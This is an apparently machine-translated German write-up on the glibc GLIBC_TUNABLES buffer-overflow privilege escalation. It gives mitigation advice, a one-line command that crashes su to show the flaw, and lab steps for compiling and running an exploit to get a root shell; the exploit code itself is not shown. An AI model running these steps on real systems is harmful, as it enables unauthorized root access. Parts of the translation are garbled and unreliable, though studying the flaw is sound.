Die GNU C-Bibliothek (GLIBC) dient als C-Bibliothek im GNU-System und ist ein wesentlicher Bestandteil von Linux-basierten Systemen. Im Kern definiert GLIBC wesentliche Funktionen für Programme, einschließlich Systemaufrufe und gemeinsame Funktionen wie Open, Malloc, Printf und Exit. Der dynamische Lader, eine wichtige Komponente von GLIBC, spielt eine Schlüsselrolle bei der Vorbereitung und Ausführung von Programmen, indem sie gemeinsam genutzte Bibliotheken verwalten und zur Laufzeit verknüpfen.
Die Umgebungsvariable von GLIBC_TUNABLE wird zur Stärkung von Benutzern ohne Neukompilation eingeführt und ermöglicht es den Benutzern, das Verhalten von GLIBC zur Laufzeit zu ändern. Es bietet eine Möglichkeit, Leistungs- und Verhaltensparameter anzupassen und sich auf das Start von Anwendungen auszuwirken.
Ein Pufferüberlauf -Verwundbarkeit in der Verarbeitung von GLIBC_Tunables durch den dynamischen Lader stellt ein kritisches Sicherheitsrisiko dar. Ausbeutung gewährt lokale Angreifer die Privilegien erhöht und führen möglicherweise zu vollem Wurzelzugang. Eine erfolgreiche Ausbeutung in wichtigen Verteilungen wie Fedora, Ubuntu und Debian unterstreicht die Schwere und weit verbreitete Auswirkungen.
Missbrauch oder Ausbeutung dieser Sicherheitsanfälligkeit kann die Systemleistung, die Zuverlässigkeit und die Sicherheit von Systemen beeinflussen. Während die Exploit-Details zurückgehalten werden, steht das Risiko unmittelbar bevor, da Pufferüberläufe schnell in Datenangriffe verwandeln können. Populäre Linux -Verteilungen mit GLIBC können anfällig sein, was die Notwendigkeit eines sofortigen Bewusstseins und der Minderung betont.
Zugewiesen: 3. Oktober 2023
Typ: Lokale Privilegie Eskalation
Betroffene Versionen: Glibc 2.34 und später
Verteilungen: Rhel, Ubuntu, Fedora, Debian, Amazon Linux, Gentoo und andere mit GLIBC -Minderung
Upgrade: GLIBC -Updates unverzüglich anwenden.
Monitor: Bleiben Sie über Sicherheitsberatungen auf dem Laufenden.
Überprüfung: Bewerten Sie die Verwendung von GLIBC_TUNABLE in Anwendungen.
Prüfung: Untersuchen Sie Systemprotokolle auf verdächtige Aktivitäten.
Ubuntu 22.04 Ubuntu GLIBC 2.35-0UBUNTU3.1 SU von Util-Linux 2.37.2 ASLR auf
Gebrauchtes Ubuntu (Version 22.04.1) ISO zum Erstellen einer virtuellen Maschine
Nach der erfolgreichen Installation müssen wir nichts aktualisieren, aber wir werden das Git- und GNU -Binutils -Paket installieren, da es nicht im System zu finden ist. Wenn Sie das Exploit -Python -Skript kompilieren, werden Sie dem Fehler konfrontiert.
Durch die Verwendung dieser Befehle:
$ sudo apt install git
$ sudo apt install binutils
Überprüfen Sie, ob es verletzlich ist
$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
Wenn es
Segmentation fault (core dumped)
, ist er anfällig.
Überprüfen Sie die Version des dynamischen Linker/Loaders, der häufig der GNU C -Bibliothek (GLIBC) zugeordnet ist.
$ ldd --version
Die Ausgabe ergibt die Version von GLIBC
ldd (Ubuntu GLIBC 2.35-0ubuntu3.6) 2.35
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
Jetzt, da wir wissen, dass unsere Maschine verletzlich ist und bereit ist, die Wurzelrechte zu eskalieren
Hinweis: Wir sollten GCC nicht in der Maschine installieren, wenn wir installieren, verliert es seine Sicherheitsanfälligkeit, daher funktioniert das Skript nicht.
Da wir nicht GCC installiert haben und das C -Programm in Host -Maschine kompilieren und dann in den Guest -Computer importieren müssen.
Wir können das C -Programm mit diesem Befehl
$ gcc exploit.c -o (outputname)
kompilieren.
Nach dem Importieren der Ausgabedatei des C -Programms importieren Sie auch das Skript Python (Genlib.py).
Kompilieren Sie nun das Python -Skript
$ python3 genlib.py
Nach dem Kompilieren eines Ordners "" "wird erstellt.
Wir machen dies im Ordner /TMP -Ordner, damit der Benutzer Skript und Programm ausführen kann
Jetzt werden wir endlich das Programm ausführen, um die Wurzelrechte zu eskalieren
$ ./(nameoftheprogram)
Es wird einige Zeit dauern und die Wurzelschale erhält.
Sicher, um zu stärken, nicht ausnutzen!
Referenzen: